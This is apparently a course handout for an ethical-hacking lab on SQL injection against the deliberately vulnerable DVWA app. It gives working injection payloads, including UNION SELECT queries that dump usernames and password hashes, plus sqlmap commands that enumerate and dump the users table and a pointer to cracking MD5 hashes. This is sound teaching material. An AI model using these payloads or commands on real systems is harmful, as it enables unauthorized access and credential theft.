P6: SQL Injection
Ethical Hacking Practical | Semester VI/VII
DVWA SQLMAP DOCKER
What is SQL Injection?
Imagine a login form. Behind the scenes, the website runs a query like this:
SELECT * FROM users WHERE username='admin' AND password='1234'
What if you type ' OR '1'='1 as your password? The query becomes:
SELECT * FROM users WHERE username='admin' AND password='' OR '1'='1'
'1'='1' is always TRUE — so you're logged in without a real password! That's SQL Injection: tricking the database
using crafted input.
Objective
What we'll accomplish in this practical:
Set Up DVWA
1 Install and configure the vulnerable web app on your
machine using Docker.
Exploit SQLi
2 Find and exploit a real SQL Injection vulnerability — both
manually and with SQLMap.
Learn to Fix It
3 Understand how to write secure code that prevents SQL
Injection attacks.
Tools You'll Need
DVWA Docker
A website built to be hacked — for learning purposes only. Runs DVWA easily without complex installation steps.
Browser SQLMap
Firefox or Chrome to interact with DVWA. Automates SQL injection — finds and dumps data
automatically.
Setup in 3 Steps
1 2 3
Step 1 — Install Docker Step 2 — Run DVWA Step 3 — Open Browser
Download and install Docker Desktop Open your terminal and run: Go to [Link] — login:
on your computer. admin / password, set security to
LOW, then click Create / Reset
Database.
docker pull vulnerables/web-dvwa
docker run -d -p 80:80 vulnerables/web-dvwa
The Attack: Step by Step
Go to DVWA → SQL Injection in the left menu. You'll see a User ID input box.
01 02 03
Test for Vulnerability Get All Users Find Database Name
Type ' — if you see a database error, it's Type: 1' OR '1'='1 — all user records Type: 1' UNION SELECT null, database() -
vulnerable ✅ appear on screen. - - → Result: dvwa
04 05
Find Table Names Dump Passwords
Use UNION SELECT on information_schema.tables → Result: Type: 1' UNION SELECT user, password FROM users -- - →
users, guestbook Hashed passwords appear!
Attack Flow
Use UNION
Open DVWA Type ' test Error shows Enter OR 1=1
SELECT
This sequence maps the full manual exploitation path — from initial test to full credential extraction.
Why Does This Work?
The Bad Code What Happens When We Inject
When we type 1' UNION SELECT user, password FROM users
$id = $_GET['id'];
-- -, the query becomes two queries in one:
$query = "SELECT first_name,
last_name FROM users The original query fetches user 1
WHERE user_id = '$id'"; Our UNION appends a second query fetching all
usernames and passwords
User input is pasted directly into the SQL string — no The -- - comments out the rest, hiding syntax errors
protection!
Automated with SQLMap
SQLMap does everything automatically — no manual typing needed. Run these commands in order:
sqlmap -u "[Link] \
--cookie="PHPSESSID=YOUR_COOKIE; security=low" --dbs
sqlmap ... -D dvwa --tables
sqlmap ... -D dvwa -T users --dump
🍪 Get your cookie from: Browser → F12 → Application tab → Cookies → copy PHPSESSID value
Output & Cracking Hashes
What You'll See Crack the Hashes
MD5 hashes can be cracked using online tools. Visit
User MD5 Hash Password
[Link], paste the hash, and it reveals the original
plaintext password instantly.
admin 5f4dcc3b... password
gordonb e99a18c4... abc123
MD5 is considered weak and broken — modern
apps use bcrypt or Argon2.
pablo 0d107d09... letmein